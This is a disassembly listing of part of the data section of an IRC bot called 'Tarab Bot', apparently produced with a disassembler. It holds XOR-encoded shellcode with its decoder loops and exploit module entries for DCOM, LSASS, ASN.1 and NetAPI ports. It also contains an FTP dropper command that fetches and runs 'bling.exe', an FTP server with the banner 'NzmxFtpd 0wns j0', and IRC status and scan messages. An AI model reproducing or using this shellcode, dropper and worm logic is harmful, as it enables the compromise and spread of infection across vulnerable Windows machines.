		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 8

loc_428ED8:				; DATA XREF: .data:004051CDo
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_428EF6:				; CODE XREF: .data:00428F46j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_428F4D
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_428EF6
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_428F4D:				; CODE XREF: .data:00428F3Dj
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_428F60:				; CODE XREF: .data:00428F67j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_428F60
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_428FB1
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_428FBD+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_428FB1:				; CODE XREF: .data:00428F79j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_428FBD:				; CODE XREF: .data:00428F8Aj
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_428FCB+2
		cmc
		lodsb

loc_428FCB:				; CODE XREF: .data:00428FC7j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		db 0BCh, 5
word_429042	dw 255Fh		; DATA XREF: .data:0042768Do
		dd 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h, 70B8A2E5h
		dd 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h,	4D501B5Dh
		dd 56695D50h, 4A15158h,	0F970B8E7h, 626262A1h, 0F3CB6666h
		dd 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h,	0FBCB255Fh
		dd 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_4290A4	dw 7A69h		; DATA XREF: sub_404FF8+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_404FF8+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
unk_429114	db    2			; DATA XREF: .data:0040521Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405285+5B1o
aQuit		db 'QUIT',0             ; DATA XREF: sub_405285+59Do
					; sub_40EC43+4FCo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405285+590o
		align 10h
unk_429190	db    3			; DATA XREF: sub_405285+545o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote Tarab Bot.',0
		align 10h
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405285+526o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405285+4FAo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_405285+4E2o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405285+4D2o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405285+4C1o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405285+48Eo
		align 10h
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405285+44Ao
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405285+411o
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405285+3E3o
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405285+3D0o
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405285+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405285+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405285+372o
aI:					; DATA XREF: sub_405285+35Eo
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405285+337o
aA:					; DATA XREF: sub_405285+323o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405285+30Co
					; sub_405285+347o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405285+2FCo
		align 4
off_42933C	dd offset dword_445750	; DATA XREF: sub_405285+2E8o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405285+2D8o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_405285+2C4o
		align 4
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405285+2B4o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405285+2A0o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405285+290o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405285+27Co
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405285+26Co
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405285+257o
					; .data:0042EB78o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_405285+246o
		align 4
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405285+1C8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4058E9+24o
					; sub_406A71+12Eo ...
		align 4
unk_4293D8	db    2			; DATA XREF: sub_405983+3D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_42941C	db 0Dh,0Ah,0		; DATA XREF: sub_405983+2BEo
		align 10h
asc_429420:				; DATA XREF: sub_405983+282o
					; sub_40EC43+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405983+258o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405DB9+97o
					; sub_40B6ED+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405DB9+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405DB9:loc_405E24o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405DB9+64o
		align 8
unk_429648	db    2			; DATA XREF: sub_405F35+27Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_429690	db    2			; DATA XREF: sub_405F35+20Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_4296D0:				; DATA XREF: sub_405F35+156o
		unicode	0, <*>,0
asc_4296D4:				; DATA XREF: sub_405F35+FAo
					; sub_4061E4+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_405F35+E9o
					; sub_4061E4+4CFo ...
		align 10h
aS_3		db '%s',0               ; DATA XREF: sub_405F35+39o
					; sub_40B1BC+4Co ...
		align 4
aS_4		db '\%s',0              ; DATA XREF: sub_405F35+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4061E4+64Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4061E4+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4061E4+61Do
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+58Eo
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4061E4+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_406707o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4061E4+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4061E4+476o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4061E4+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4061E4:loc_4065B1o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4061E4+3C6o
		align 10h
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4061E4+379o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4061E4+335o
					; sub_4061E4+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4061E4+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4061E4+2DEo
					; sub_4061E4+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4061E4+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_4061E4+293o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4061E4+284o
		align 4
a__		db '..',0               ; DATA XREF: sub_4061E4+231o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4061E4+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4061E4+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4061E4+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4061E4+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4061E4+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4061E4+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406950+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_429B90	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_406A71+48Do
dword_429BA0	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_406A71+479o
		dd 2BBBB02h, 61726154h,	6F422062h, 74202074h, 736E6172h
		dd 20726566h, 20206F74h, 20207325h, 75731F02h, 73656363h
		dd 6C756673h, 6320796Ch, 6C706D6Fh, 64657465h, 202C021Fh
		dd 6F666E69h, 2528203Ah, 2E2973h
dword_429BFC	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_406A71+3B6o
		dd 2BBBB02h
aTarabBotFileNo	db ' Tarab Bot File not found: %s (%s).',0
dword_429C38	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh, 0
					; DATA XREF: sub_406A71+399o
dword_429C50	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_406A71+33Eo
		dd 2BBBB02h, 72615420h,	42206261h, 2020746Fh, 6E617274h
		dd 72656673h, 206F7420h, 20732520h, 621F0220h, 6E696765h
		dd 676E696Eh, 202C021Fh, 6F666E69h, 2528203Ah, 2E2973h
unk_429CA0	db    2			; DATA XREF: sub_406A71+15Ao
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 74h
		db  66h	; f
		db 74h,	70h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotFailed	db 'Tarab Bot  Failed to open file: %s.',0
		align 10h
dword_429CE0	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_406A71+6Ao
		dd 2BBBB02h
aTarabBotErrorS	db ' Tarab Bot   Error: socket() failed, returned: <%d>.',0
		align 10h
aOctet		db 'octet',0            ; DATA XREF: sub_406A71+Fo
		align 4
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_4075B8+155o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: .data:00405215o
		align 4
		dd 5 dup(0)
dword_429D60	dd 87h			; DATA XREF: sub_406F62+1Er
					; sub_40EC43+3079r ...
off_429D64	dd offset sub_402DB1	; DATA XREF: sub_4075B8+1D7r
dword_429D68	dd 0			; DATA XREF: sub_402DB1+2E1r
					; .data:004037DDr ...
dword_429D6C	dd 1			; DATA XREF: sub_4070A3+1Fr
dword_429D70	dd 0			; DATA XREF: sub_4070A3:loc_407314r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DB1h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DB1h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403660h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403660h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403660h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40424Ah, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40424Ah, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404EE8h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404EE8h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 404F40h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 405132h, 0	; CODE XREF: sub_42A04A:loc_42A05Fj
		dd 1, 11h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42A05A

; =============== S U B	R O U T	I N E =======================================



sub_42A04A	proc near		; CODE XREF: sub_42A04A:loc_42A05Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42A052:				; CODE XREF: sub_42A04A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42A052
		jmp	short loc_42A05F
; ---------------------------------------------------------------------------

loc_42A05A:				; CODE XREF: .data:0042A048j
		call	sub_42A04A

loc_42A05F:				; CODE XREF: sub_42A04A+Ej
		jo	short near ptr dword_429FF4+6
		cwde
		cdq
		cdq
		retn
sub_42A04A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_406F62+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_406F62+42o
		align 4
dword_42A1E8	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_406F62+11o
		dd 2029671Fh, 2BBBB02h
aTarabBotExploi	db '  Tarab Bot  Exploit Statistics:',0
		align 4
dword_42A228	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_40702C+42o
		dd 2029671Fh, 2BBBB02h
aTarabBotScanNo	db '  Tarab Bot  Scan not active.',0
		align 4
dword_42A264	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_40702C+2Co
		dd 2029671Fh, 2BBBB02h
aTarabBotCurren	db ' Tarab Bot   Current IP: %s.',0
		align 10h
unk_42A2A0	db    2			; DATA XREF: sub_4070A3+35Do
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotFail_0	db '  Tarab Bot  Failed to start server, error: <%d>.',0
		align 10h
unk_42A2F0	db    2			; DATA XREF: sub_4070A3+307o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTarabBotServer	db '  Tarab Bot  Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
unk_42A348	db    2			; DATA XREF: sub_4070A3+252o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  66h	; f
		db 74h,	70h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotFail_1	db ' Tarab Bot  Failed to start server, error: <%d>.',0
		align 8
unk_42A398	db    2			; DATA XREF: sub_4070A3+1FBo
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  66h	; f
		db 74h,	70h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aTarabBotServ_0	db ' Tarab Bot  Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
dword_42A3F0	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4070A3+138o
		dd 2BBBB02h
aTarabBotFail_2	db '  Tarab Bot  Failed to start server, error: <%d>.',0
		align 10h
dword_42A440	dd 72023602h, 28201F62h, 70746674h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4070A3+D8o
		dd 2BBBB02h
aTarabBotServ_1	db '  Tarab Bot  Server started on Port: %d, File: %s, Request: %s.',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40747F+38o
					; sub_40AD08+46o
		align 8
dword_42A4A8	dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
					; DATA XREF: sub_4075B8+DCo
		dd 2029671Fh, 2BBBB02h
aTarabBotIpSPor	db ' Tarab Bot   IP: %s, Port %d is open.',0
		align 10h
